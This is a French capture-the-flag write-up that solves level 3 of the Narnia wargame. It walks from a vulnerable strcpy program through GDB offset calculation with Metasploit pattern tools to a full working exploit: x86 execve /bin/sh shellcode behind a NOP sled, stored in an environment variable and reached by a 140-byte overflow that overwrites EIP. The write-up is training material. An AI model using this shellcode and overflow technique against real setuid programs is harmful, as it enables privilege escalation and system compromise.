[Wargame] Narnia at intruded.net : Level 3
Et hop le level 3 :).
Le programme vulnérable :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
seteuid(1004);
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
Ok, un bof tout ce qu’il y a de plus classique dans les wargames. Rien de particulier dans le code assembleur si ce n’est l’habituel calcul d’offset sous GDB. Si vous voulez plus de détails sur cette méthode, je vous invite à aller voir les liens en bas.
La méthode rapide : On génére notre pattern avec metasploit :
1
2
votrepseudo@votremachine $ msf/tools/pattern_create 140
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
level5@narnia:~$ gdb /wargame/level3
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Starting program: /wargame/level3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program exited normally.
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae
Starting program: /wargame/level3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae
Program received signal SIGILL, Illegal instruction.
0xb7ec7e00 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax 0x0 0
ecx 0xb7fe0434 -1208089548
edx 0xb7fe1448 -1208085432
ebx 0xb7fdfff4 -1208090636
esp 0xbffff9c0 0xbffff9c0
ebp 0x65413565 0x65413565
esi 0x0 0
edi 0xb8000cc0 -1207956288
eip 0xb7ec7e00 0xb7ec7e00 <__libc_start_main+32>
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Ok on a re-écrit ebp avec “e5Ae”.
On cherche l’offset de ce pattern avec metasploit toujours :
1
2
msf/tools/pattern_offset e5Ae
136
Donc au bouts de 136 bytes on écrit EBP, EIP est donc re-écrit au bout de 140 octets.
On va utiliser la méthode des variables d’environnement, ça a pas mal d’avantages :
- taille de payload illimitée (pratiquement)
- on perd moins de temps à digguer dans GDB (ou vous pouvez aussi écrire un sploit enfin bon)
- …
Donc notre petit helper getenv :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// @author : m_101
// @licence : beerware
#include <stdlib.h>
int main (int argc, char *argv[]) {
char *addr;
if(argc < 2) {
printf("Usage:\n%s <environment variable name>\n", argv[0]);
exit(0);
}
addr = getenv(argv[1]);
if (addr == NULL)
printf ("The environment variable %s doesn't exist.\n", argv[1]);
else
printf ("%s is located at %p\n", argv[1], addr);
return 0;
}
Maintenant let’s sploit!
1
2
3
4
level3@narnia:~$ export SC=`python -c 'print "\x90" * 128 + "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
level3@narnia:~$ /tmp/getenv SC
SC is located at 0xbffffe94
/wargame/level3 `python -c 'print "A" * 140 + "\x94\xfe\xff\xbf"'`
Have fun ;).
m_101